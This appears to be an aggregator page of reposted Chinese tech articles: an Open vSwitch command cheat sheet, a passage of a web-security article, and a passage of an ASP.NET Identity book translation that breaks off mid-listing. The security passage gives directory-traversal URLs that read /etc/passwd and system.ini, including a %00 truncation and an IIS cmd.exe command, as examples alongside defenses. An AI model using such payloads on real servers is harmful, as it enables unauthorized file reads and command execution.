1.查看网桥和端口 ovs-vsctl show 1 2.创建一个网桥 ovs-vsctl add-br br0 ovs-vsctl set bridge br0 datapath_type=netdev 1 2 3.添加/删除一个端口 for system interfaces ovs-vsctl add-port br0 eth1 ovs-vsctl del-port br0 eth1 for DPDK ovs-vsctl add-port br0 dpdk1 -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 for DPDK bonds ovs-vsctl add-bond br0 dpdkbond0 dpdk1 dpdk2 \ -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 \ -- set interface dpdk2 type=dpdk options:dpdk-devargs=0000:02:00.0 1 2 3 4 5 6 7 8 9 4.设置/清除网桥的openflow协议版本 ovs-vsctl set bridge br0 protocols=OpenFlow13 ovs-vsctl clear bridge br0 protocols 1 2 5.查看某网桥当前流表 ovs-ofctl dump-flows br0 ovs-ofctl -O OpenFlow13 dump-flows br0 ovs-appctl bridge/dump-flows br0 1 2 3 6.设置/删除控制器 ovs-vsctl set-controller br0 tcp:1.2.3.4:6633 ovs-vsctl del-controller br0 1 2 7.查看控制器列表 ovs-vsctl list controller 1 8.设置/删除被动连接控制器 ovs-vsctl set-manager tcp:1.2.3.4:6640 ovs-vsctl get-manager ovs-vsctl del-manager 1 2 3 9.设置/移除可选选项 ovs-vsctl set Interface eth0 options:link_speed=1G ovs-vsctl remove Interface eth0 options link_speed 1 2 10.设置fail模式,支持standalone或者secure standalone(default):清除所有控制器下发的流表,ovs自己接管 secure:按照原来流表继续转发 ovs-vsctl del-fail-mode br0 ovs-vsctl set-fail-mode br0 secure ovs-vsctl get-fail-mode br0 1 2 3 11.查看接口id等 ovs-appctl dpif/show 1 12.查看接口统计 ovs-ofctl dump-ports br0 1 流表类 流表操作 1.添加普通流表 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.删除所有流表 ovs-ofctl del-flows br0 1 3.按匹配项来删除流表 ovs-ofctl del-flows br0 "in_port=1" 1 匹配项 1.匹配vlan tag,范围为0-4095 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan=777,actions=output:2 1 2.匹配vlan pcp,范围为0-7 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan_pcp=7,actions=output:2 1 3.匹配源/目的MAC ovs-ofctl add-flow br0 in_port=1,dl_src=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 ovs-ofctl add-flow br0 in_port=1,dl_dst=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 1 2 4.匹配以太网类型,范围为0-65535 ovs-ofctl add-flow br0 in_port=1,dl_type=0x0806,actions=output:2 1 5.匹配源/目的IP 条件:指定dl_type=0x0800,或者ip/tcp ovs-ofctl add-flow br0 ip,in_port=1,nw_src=10.10.0.0/16,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.20.0.0/16,actions=output:2 1 2 6.匹配协议号,范围为0-255 条件:指定dl_type=0x0800或者ip ICMP ovs-ofctl add-flow br0 ip,in_port=1,nw_proto=1,actions=output:2 7.匹配IP ToS/DSCP,tos范围为0-255,DSCP范围为0-63 条件:指定dl_type=0x0800/0x86dd,并且ToS低2位会被忽略(DSCP值为ToS的高6位,并且低2位为预留位) ovs-ofctl add-flow br0 ip,in_port=1,nw_tos=68,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,ip_dscp=62,actions=output:2 8.匹配IP ecn位,范围为0-3 条件:指定dl_type=0x0800/0x86dd ovs-ofctl add-flow br0 ip,in_port=1,ip_ecn=2,actions=output:2 9.匹配IP TTL,范围为0-255 ovs-ofctl add-flow br0 ip,in_port=1,nw_ttl=128,actions=output:2 10.匹配tcp/udp,源/目的端口,范围为0-65535 匹配源tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_src=179/0xfff0,actions=output:2 匹配目的tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_dst=179/0xfff0,actions=output:2 匹配源udp端口1234 ovs-ofctl add-flow br0 udp,udp_src=1234/0xfff0,actions=output:2 匹配目的udp端口1234 ovs-ofctl add-flow br0 udp,udp_dst=1234/0xfff0,actions=output:2 11.匹配tcp flags tcp flags=fin,syn,rst,psh,ack,urg,ece,cwr,ns ovs-ofctl add-flow br0 tcp,tcp_flags=ack,actions=output:2 12.匹配icmp code,范围为0-255 条件:指定icmp ovs-ofctl add-flow br0 icmp,icmp_code=2,actions=output:2 13.匹配vlan TCI TCI低12位为vlan id,高3位为priority,例如tci=0xf123则vlan_id为0x123和vlan_pcp=7 ovs-ofctl add-flow br0 in_port=1,vlan_tci=0xf123,actions=output:2 14.匹配mpls label 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=7,actions=output:2 15.匹配mpls tc,范围为0-7 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_tc=7,actions=output:2 1 16.匹配tunnel id,源/目的IP 匹配tunnel id ovs-ofctl add-flow br0 in_port=1,tun_id=0x7/0xf,actions=output:2 匹配tunnel源IP ovs-ofctl add-flow br0 in_port=1,tun_src=192.168.1.0/255.255.255.0,actions=output:2 匹配tunnel目的IP ovs-ofctl add-flow br0 in_port=1,tun_dst=192.168.1.0/255.255.255.0,actions=output:2 一些匹配项的速记符 速记符 匹配项 ip dl_type=0x800 ipv6 dl_type=0x86dd icmp dl_type=0x0800,nw_proto=1 icmp6 dl_type=0x86dd,nw_proto=58 tcp dl_type=0x0800,nw_proto=6 tcp6 dl_type=0x86dd,nw_proto=6 udp dl_type=0x0800,nw_proto=17 udp6 dl_type=0x86dd,nw_proto=17 sctp dl_type=0x0800,nw_proto=132 sctp6 dl_type=0x86dd,nw_proto=132 arp dl_type=0x0806 rarp dl_type=0x8035 mpls dl_type=0x8847 mplsm dl_type=0x8848 指令动作 1.动作为出接口 从指定接口转发出去 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.动作为指定group group id为已创建的group table ovs-ofctl add-flow br0 in_port=1,actions=group:666 1 3.动作为normal 转为L2/L3处理流程 ovs-ofctl add-flow br0 in_port=1,actions=normal 1 4.动作为flood 从所有物理接口转发出去,除了入接口和已关闭flooding的接口 ovs-ofctl add-flow br0 in_port=1,actions=flood 1 5.动作为all 从所有物理接口转发出去,除了入接口 ovs-ofctl add-flow br0 in_port=1,actions=all 1 6.动作为local 一般是转发给本地网桥 ovs-ofctl add-flow br0 in_port=1,actions=local 1 7.动作为in_port 从入接口转发回去 ovs-ofctl add-flow br0 in_port=1,actions=in_port 1 8.动作为controller 以packet-in消息上送给控制器 ovs-ofctl add-flow br0 in_port=1,actions=controller 1 9.动作为drop 丢弃数据包操作 ovs-ofctl add-flow br0 in_port=1,actions=drop 1 10.动作为mod_vlan_vid 修改报文的vlan id,该选项会使vlan_pcp置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_vid:8,output:2 1 11.动作为mod_vlan_pcp 修改报文的vlan优先级,该选项会使vlan_id置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_pcp:7,output:2 1 12.动作为strip_vlan 剥掉报文内外层vlan tag ovs-ofctl add-flow br0 in_port=1,actions=strip_vlan,output:2 1 13.动作为push_vlan 在报文外层压入一层vlan tag,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=push_vlan:0x8100,set_field:4097-\>vlan_vid,output:2 1 ps: set field值为4096+vlan_id,并且vlan优先级为0,即4096-8191,对应的vlan_id为0-4095 14.动作为push_mpls 修改报文的ethertype,并且压入一个MPLS LSE ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,set_field:10-\>mpls_label,output:2 1 15.动作为pop_mpls 剥掉最外层mpls标签,并且修改ethertype为非mpls类型 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=20,actions=pop_mpls:0x0800,output:2 1 16.动作为修改源/目的MAC,修改源/目的IP 修改源MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_src:00:00:00:00:00:01,output:2 修改目的MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_dst:00:00:00:00:00:01,output:2 修改源IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_src:192.168.1.1,output:2 修改目的IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_dst:192.168.1.1,output:2 17.动作为修改TCP/UDP/SCTP源目的端口 修改TCP源端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_src:67,output:2 修改TCP目的端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_dst:68,output:2 修改UDP源端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_src:67,output:2 修改UDP目的端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_dst:68,output:2 18.动作为mod_nw_tos 条件:指定dl_type=0x0800 修改ToS字段的高6位,范围为0-255,值必须为4的倍数,并且不会去修改ToS低2位ecn值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_tos:68,output:2 1 19.动作为mod_nw_ecn 条件:指定dl_type=0x0800,需要使用openflow1.1以上版本兼容 修改ToS字段的低2位,范围为0-3,并且不会去修改ToS高6位的DSCP值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_ecn:2,output:2 1 20.动作为mod_nw_ttl 修改IP报文ttl值,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=mod_nw_ttl:6,output:2 1 21.动作为dec_ttl 对IP报文进行ttl自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_ttl,output:2 1 22.动作为set_mpls_label 对报文最外层mpls标签进行修改,范围为20bit值 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_label:666,output:2 1 23.动作为set_mpls_tc 对报文最外层mpls tc进行修改,范围为0-7 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_tc:7,output:2 1 24.动作为set_mpls_ttl 对报文最外层mpls ttl进行修改,范围为0-255 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_ttl:255,output:2 1 25.动作为dec_mpls_ttl 对报文最外层mpls ttl进行自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_mpls_ttl,output:2 1 26.动作为move NXM字段 使用move参数对NXM字段进行操作 将报文源MAC复制到目的MAC字段,并且将源MAC改为00:00:00:00:00:01 ovs-ofctl add-flow br0 in_port=1,actions=move:NXM_OF_ETH_SRC[]-\>NXM_OF_ETH_DST[],mod_dl_src:00:00:00:00:00:01,output:2 1 2 ps: 常用NXM字段参照表 NXM字段 报文字段 NXM_OF_ETH_SRC 源MAC NXM_OF_ETH_DST 目的MAC NXM_OF_ETH_TYPE 以太网类型 NXM_OF_VLAN_TCI vid NXM_OF_IP_PROTO IP协议号 NXM_OF_IP_TOS IP ToS值 NXM_NX_IP_ECN IP ToS ECN NXM_OF_IP_SRC 源IP NXM_OF_IP_DST 目的IP NXM_OF_TCP_SRC TCP源端口 NXM_OF_TCP_DST TCP目的端口 NXM_OF_UDP_SRC UDP源端口 NXM_OF_UDP_DST UDP目的端口 NXM_OF_SCTP_SRC SCTP源端口 NXM_OF_SCTP_DST SCTP目的端口 27.动作为load NXM字段 使用load参数对NXM字段进行赋值操作 push mpls label,并且把10(0xa)赋值给mpls label ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,load:0xa-\>OXM_OF_MPLS_LABEL[],output:2 对目的MAC进行赋值 ovs-ofctl add-flow br0 in_port=1,actions=load:0x001122334455-\>OXM_OF_ETH_DST[],output:2 1 2 3 4 28.动作为pop_vlan 弹出报文最外层vlan tag ovs-ofctl add-flow br0 in_port=1,dl_type=0x8100,dl_vlan=777,actions=pop_vlan,output:2 1 meter表 常用操作 由于meter表是openflow1.3版本以后才支持,所以所有命令需要指定OpenFlow1.3版本以上 ps: 在openvswitch-v2.8之前的版本中,还不支持meter 在v2.8版本之后已经实现,要正常使用的话,需要注意的是datapath类型要指定为netdev,band type暂时只支持drop,还不支持DSCP REMARK 1.查看当前设备对meter的支持 ovs-ofctl -O OpenFlow13 meter-features br0 2.查看meter表 ovs-ofctl -O OpenFlow13 dump-meters br0 3.查看meter统计 ovs-ofctl -O OpenFlow13 meter-stats br0 4.创建meter表 限速类型以kbps(kilobits per second)计算,超过20kb/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=1,kbps,band=type=drop,rate=20 同上,增加burst size参数 ovs-ofctl -O OpenFlow13 add-meter br0 meter=2,kbps,band=type=drop,rate=20,burst_size=256 同上,增加stats参数,对meter进行计数统计 ovs-ofctl -O OpenFlow13 add-meter br0 meter=3,kbps,stats,band=type=drop,rate=20,burst_size=256 限速类型以pktps(packets per second)计算,超过1000pkt/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=4,pktps,band=type=drop,rate=1000 5.删除meter表 删除全部meter表 ovs-ofctl -O OpenFlow13 del-meters br0 删除meter id=1 ovs-ofctl -O OpenFlow13 del-meter br0 meter=1 6.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=meter:1,output:2 group表 由于group表是openflow1.1版本以后才支持,所以所有命令需要指定OpenFlow1.1版本以上 常用操作 group table支持4种类型 all:所有buckets都执行一遍 select: 每次选择其中一个bucket执行,常用于负载均衡应用 ff(FAST FAILOVER):快速故障修复,用于检测解决接口等故障 indirect:间接执行,类似于一个函数方法,被另一个group来调用 1.查看当前设备对group的支持 ovs-ofctl -O OpenFlow13 dump-group-features br0 2.查看group表 ovs-ofctl -O OpenFlow13 dump-groups br0 3.创建group表 类型为all ovs-ofctl -O OpenFlow13 add-group br0 group_id=1,type=all,bucket=output:1,bucket=output:2,bucket=output:3 类型为select ovs-ofctl -O OpenFlow13 add-group br0 group_id=2,type=select,bucket=output:1,bucket=output:2,bucket=output:3 类型为select,指定hash方法(5元组,OpenFlow1.5+) ovs-ofctl -O OpenFlow15 add-group br0 group_id=3,type=select,selection_method=hash,fields=ip_src,bucket=output:2,bucket=output:3 4.删除group表 ovs-ofctl -O OpenFlow13 del-groups br0 group_id=2 5.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=group:2 goto table配置 数据流先从table0开始匹配,如actions有goto_table,再进行后续table的匹配,实现多级流水线,如需使用goto table,则创建流表时,指定table id,范围为0-255,不指定则默认为table0 1.在table0中添加一条流表条目 ovs-ofctl add-flow br0 table=0,in_port=1,actions=goto_table=1 2.在table1中添加一条流表条目 ovs-ofctl add-flow br0 table=1,ip,nw_dst=10.10.0.0/16,actions=output:2 tunnel配置 如需配置tunnel,必需确保当前系统对各tunnel的remote ip网络可达 gre 1.创建一个gre接口,并且指定端口id=1001 ovs-vsctl add-port br0 gre1 -- set Interface gre1 type=gre options:remote_ip=1.1.1.1 ofport_request=1001 2.可选选项 将tos或者ttl在隧道上继承,并将tunnel id设置成123 ovs-vsctl set Interface gre1 options:tos=inherit options:ttl=inherit options:key=123 3.创建关于gre流表 封装gre转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:1001 解封gre转发 ovs-ofctl add-flow br0 in_port=1001,actions=output:1 vxlan 1.创建一个vxlan接口,并且指定端口id=2001 ovs-vsctl add-port br0 vxlan1 -- set Interface vxlan1 type=vxlan options:remote_ip=1.1.1.1 ofport_request=2001 2.可选选项 将tos或者ttl在隧道上继承,将vni设置成123,UDP目的端为设置成8472(默认为4789) ovs-vsctl set Interface vxlan1 options:tos=inherit options:ttl=inherit options:key=123 options:dst_port=8472 3.创建关于vxlan流表 封装vxlan转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:2001 解封vxlan转发 ovs-ofctl add-flow br0 in_port=2001,actions=output:1 sflow配置 1.对网桥br0进行sflow监控 agent: 与collector通信所在的网口名,通常为管理口 target: collector监听的IP地址和端口,端口默认为6343 header: sFlow在采样时截取报文头的长度 polling: 采样时间间隔,单位为秒 ovs-vsctl -- --id=@sflow create sflow agent=eth0 target=\"10.0.0.1:6343\" header=128 sampling=64 polling=10 -- set bridge br0 sflow=@sflow 2.查看创建的sflow ovs-vsctl list sflow 3.删除对应的网桥sflow配置,参数为sFlow UUID ovs-vsctl remove bridge br0 sflow 7b9b962e-fe09-407c-b224-5d37d9c1f2b3 4.删除网桥下所有sflow配置 ovs-vsctl -- clear bridge br0 sflow 1 QoS配置 ingress policing 1.配置ingress policing,对接口eth0入流限速10Mbps ovs-vsctl set interface eth0 ingress_policing_rate=10000 ovs-vsctl set interface eth0 ingress_policing_burst=8000 2.清除相应接口的ingress policer配置 ovs-vsctl set interface eth0 ingress_policing_rate=0 ovs-vsctl set interface eth0 ingress_policing_burst=0 3.查看接口ingress policer配置 ovs-vsctl list interface eth0 4.查看网桥支持的Qos类型 ovs-appctl qos/show-types br0 端口镜像配置 1.配置eth0收到/发送的数据包镜像到eth1 ovs-vsctl -- set bridge br0 mirrors=@m \ -- --id=@eth0 get port eth0 \ -- --id=@eth1 get port eth1 \ -- --id=@m create mirror name=mymirror select-dst-port=@eth0 select-src-port=@eth0 output-port=@eth1 2.删除端口镜像配置 ovs-vsctl -- --id=@m get mirror mymirror -- remove bridge br0 mirrors @m 3.清除网桥下所有端口镜像配置 ovs-vsctl clear bridge br0 mirrors 4.查看端口镜像配置 ovs-vsctl get bridge br0 mirrors Open vSwitch中有多个命令,分别有不同的作用,大致如下: ovs-vsctl用于控制ovs db ovs-ofctl用于管理OpenFlow switch 的 flow ovs-dpctl用于管理ovs的datapath ovs-appctl用于查询和管理ovs daemon 转载于:https://www.cnblogs.com/liuhongru/p/10336849.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30876945/article/details/99916308。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-08 17:13:19
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...可以查询到任何用户的消息,只要有 msg_id 就可以,这就是比较典型的越权漏洞,需要如下这么改进一下: // ctx 为请求的 context 上下文let msgId = ctx.params.msgId;let userId = ctx.session.userId; // 从会话中取出当前登陆的 userIdmysql.query('SELECT FROM msg_table WHERE msg_id = ? AND user_id = ?',[msgId, userId]); 嗯,大概就是这个意思,如果有更严格的权限控制,那在每个请求中凡是涉及到数据库的操作都需要先进行严格的验证,并且在设计数据库表的时候需要考虑进 userId 的账号关联以及权限关联。 目录遍历漏洞 目录遍历漏洞指通过在 URL 或参数中构造 …/,./ 和类似的跨父目录字符串的 ASCII 编码、unicode 编码等,完成目录跳转,读取操作系统各个目录下的敏感文件,也可以称作「任意文件读取漏洞」。 目录遍历漏洞原理:程序没有充分过滤用户输入的 …/ 之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个… 符号,不断向上跳转,最终停留在根 /,通过绝对路径去读取任意文件。 目录遍历漏洞几个示例和测试,一般构造 URL 然后使用浏览器直接访问,或者使用 Web 漏洞扫描工具检测,当然也可以自写程序测试。 http://somehost.com/../../../../../../../../../etc/passwdhttp://somehost.com/some/path?file=../../Windows/system.ini 借助 %00 空字符截断是一个比较经典的攻击手法http://somehost.com/some/path?file=../../Windows/system.ini%00.js 使用了 IIS 的脚本目录来移动目录并执行指令http://somehost.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ 防御 方法就是需要对 URL 或者参数进行 …/,./ 等字符的转义过滤。 物理路径泄漏 物理路径泄露属于低风险等级缺陷,它的危害一般被描述为「攻击者可以利用此漏洞得到信息,来对系统进一步地攻击」,通常都是系统报错 500 的错误信息直接返回到页面可见导致的漏洞。得到物理路径有些时候它能给攻击者带来一些有用的信息,比如说:可以大致了解系统的文件目录结构;可以看出系统所使用的第三方软件;也说不定会得到一个合法的用户名(因为很多人把自己的用户名作为网站的目录名)。 防止这种泄漏的方法就是做好后端程序的出错处理,定制特殊的 500 报错页面。 源码暴露漏洞 和物理路径泄露类似,就是攻击者可以通过请求直接获取到你站点的后端源代码,然后就可以对系统进一步研究攻击。那么导致源代码暴露的原因是什么呢?基本上就是发生在服务器配置上了,服务器可以设置哪些路径的文件才可以被直接访问的,这里给一个 koa 服务起的例子,正常的 koa 服务器可以通过 koa-static 中间件去指定静态资源的目录,好让静态资源可以通过路径的路由访问。比如你的系统源代码目录是这样的: |- project|- src|- static|- ...|- server.js 你想要将 static 的文件夹配成静态资源目录,你应该会在 server.js 做如下配置: const Koa = require('koa');const serve = require('koa-static');const app = new Koa();app.use(serve(__dirname + '/project/static')); 但是如果配错了静态资源的目录,可能就出大事了,比如: // ...app.use(serve(__dirname + '/project')); 这样所有的源代码都可以通过路由访问到了,所有的服务器都提供了静态资源机制,所以在通过服务器配置静态资源目录和路径的时候,一定要注意检验,不然很可能产生漏洞。 最后,希望 Web 开发者们能够管理好自己的代码隐私,注意代码安全问题,比如不要将产品的含有敏感信息的代码放到第三方外部站点或者暴露给外部用户,尤其是前端代码,私钥类似的保密性的东西不要直接输出在代码里或者页面中。也许还有很多值得注意的点,但是归根结底还是绷住安全那根弦,对待每一行代码都要多多推敲。 请关注我的订阅号 本篇文章为转载内容。原文链接:https://blog.csdn.net/MrCoderStack/article/details/88547919。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-03 14:51:12
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...需做什么改变,但需要启动应用程序,并确保数据库中有一些用户。图15-1显示了数据库的状态,它含有上一章的用户Admin、Alice、Bob以及Joe。为了检查用户,请启动应用程序,请求/Admin/Index URL,并以Admin用户进行认证。 Figure 15-1. The initial users in the Identity database 图15-1. Identity数据库中的最初用户 I also need some roles for this chapter. I used the RoleAdmin controller to create roles called Users and Employees and assigned the users to those roles, as described in Table 15-2. 本章还需要一些角色。我用RoleAdmin控制器创建了角色Users和Employees,并为这些角色指定了一些用户,如表15-2所示。 Table 15-2. The Types of Web Forms Code Nuggets 表15-2. 角色及成员(作者将此表的标题写错了——译者注) Role 角色 Members 成员 Users Alice, Joe Employees Alice, Bob Figure 15-2 shows the required role configuration displayed by the RoleAdmin controller. 图15-2显示了由RoleAdmin控制器所显示出来的必要的角色配置。 Figure 15-2. Configuring the roles required for this chapter 图15-2. 配置本章所需的角色 15.2 Adding Custom User Properties 15.2 添加自定义用户属性 When I created the AppUser class to represent users in Chapter 13, I noted that the base class defined a basic set of properties to describe the user, such as e-mail address and telephone number. Most applications need to store more information about users, including persistent application preferences and details such as addresses—in short, any data that is useful to running the application and that should last between sessions. In ASP.NET Membership, this was handled through the user profile system, but ASP.NET Identity takes a different approach. 我在第13章创建AppUser类来表示用户时曾做过说明,基类定义了一组描述用户的基本属性,如E-mail地址、电话号码等。大多数应用程序还需要存储用户的更多信息,包括持久化应用程序爱好以及地址等细节——简言之,需要存储对运行应用程序有用并且在各次会话之间应当保持的任何数据。在ASP.NET Membership中,这是通过用户资料(User Profile)系统来处理的,但ASP.NET Identity采取了一种不同的办法。 Because the ASP.NET Identity system uses Entity Framework to store its data by default, defining additional user information is just a matter of adding properties to the user class and letting the Code First feature create the database schema required to store them. Table 15-3 puts custom user properties in context. 因为ASP.NET Identity默认是使用Entity Framework来存储其数据的,定义附加的用户信息只不过是给用户类添加属性的事情,然后让Code First特性去创建需要存储它们的数据库架构即可。表15-3描述了自定义用户属性的情形。 Table 15-3. Putting Cusotm User Properties in Context 表15-3. 自定义用户属性的情形 Question 问题 Answer 回答 What is it? 什么是自定义用户属性? Custom user properties allow you to store additional information about your users, including their preferences and settings. 自定义用户属性让你能够存储附加的用户信息,包括他们的爱好和设置。 Why should I care? 为何要关心它? A persistent store of settings means that the user doesn’t have to provide the same information each time they log in to the application. 设置的持久化存储意味着,用户不必每次登录到应用程序时都提供同样的信息。 How is it used by the MVC framework? 在MVC框架中如何使用它? This feature isn’t used directly by the MVC framework, but it is available for use in action methods. 此特性不是由MVC框架直接使用的,但它在动作方法中使用是有效的。 15.2.1 Defining Custom Properties 15.2.1 定义自定义属性 Listing 15-1 shows how I added a simple property to the AppUser class to represent the city in which the user lives. 清单15-1演示了如何给AppUser类添加一个简单的属性,用以表示用户生活的城市。 Listing 15-1. Adding a Property in the AppUser.cs File 清单15-1. 在AppUser.cs文件中添加属性 using System;using Microsoft.AspNet.Identity.EntityFramework;namespace Users.Models { public enum Cities {LONDON, PARIS, CHICAGO}public class AppUser : IdentityUser {public Cities City { get; set; } }} I have defined an enumeration called Cities that defines values for some large cities and added a property called City to the AppUser class. To allow the user to view and edit their City property, I added actions to the Home controller, as shown in Listing 15-2. 这里定义了一个枚举,名称为Cities,它定义了一些大城市的值,另外给AppUser类添加了一个名称为City的属性。为了让用户能够查看和编辑City属性,给Home控制器添加了几个动作方法,如清单15-2所示。 Listing 15-2. Adding Support for Custom User Properties in the HomeController.cs File 清单15-2. 在HomeController.cs文件中添加对自定义属性的支持 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性,它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中,传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图,它显示了City属性的值,并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告:创建了视图之后不要启动应用程序。在以下小节中,将演示如何保留数据库的内容,如果现在启动应用程序,将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是,一旦修改了派生数据库架构的类,便会删除数据库中的数据表,并重新创建它们。在第14章可以看到这种情况,在我添加角色支持时:当重启应用程序后,数据库被重置,用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序,但如果你这么做了,会看到类似的效果。在开发期间删除数据没什么问题,但如果在产品设置中这么做了,通常是灾难性的,因为它会删除所有真实的用户账号,而备份恢复是很痛苦的事。在本小节中,我打算演示如何使用数据库迁移特性,它能以比较温和的方式更新Code First的架构,并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console(包管理器控制台)”中发布以下命令: Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持,并在“Solution Explorer(解决方案资源管理器)”创建一个Migrations文件夹,其中含有一个Configuration.cs类文件,内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如,你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// 